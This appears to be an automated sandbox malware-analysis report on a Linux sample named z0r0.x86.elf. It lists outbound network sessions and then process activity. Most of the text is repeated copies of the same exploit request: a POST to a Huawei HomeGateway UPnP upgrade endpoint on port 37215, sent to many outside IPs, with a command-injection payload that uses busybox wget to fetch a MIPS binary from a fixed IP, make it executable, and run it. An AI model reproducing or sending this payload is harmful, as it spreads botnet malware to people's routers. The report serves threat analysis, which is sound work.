Feb 4, 2025 18:18:03.763005018 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	43996	156.112.203.57	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763031006 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	36250	197.122.107.219	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763051033 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	36122	197.89.49.247	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763082027 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	42494	41.109.59.133	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763150930 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	36376	197.87.94.39	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763219118 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	47050	197.178.59.107	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763254881 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	54682	197.40.140.119	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763273001 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	44052	156.17.17.76	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.763310909 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: dash PID: 6221, Parent PID: 4341

General

Start time (UTC):	17:17:20
Start date (UTC):	04/02/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	17:17:20
Start date (UTC):	04/02/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.jmIYw6btx9 /tmp/tmp.rdy6g57CHP /tmp/tmp.XR1g2l75FW
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	17:17:20
Start date (UTC):	04/02/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	17:17:20
Start date (UTC):	04/02/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.jmIYw6btx9 /tmp/tmp.rdy6g57CHP /tmp/tmp.XR1g2l75FW
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	/tmp/z0r0.x86.elf
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Analysis Process: z0r0.x86.elf PID: 6238, Parent PID: 6235

General

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Analysis Process: z0r0.x86.elf PID: 6240, Parent PID: 6235

General

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Analysis Process: z0r0.x86.elf PID: 6241, Parent PID: 6235

General

Start time (UTC):	17:17:30
Start date (UTC):	04/02/2025
Path:	/tmp/z0r0.x86.elf
Arguments:	-
File size:	31328 bytes
MD5 hash:	f4246d35c0b7e481204027534215d267

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	17:17:35
Start date (UTC):	04/02/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	17:17:35
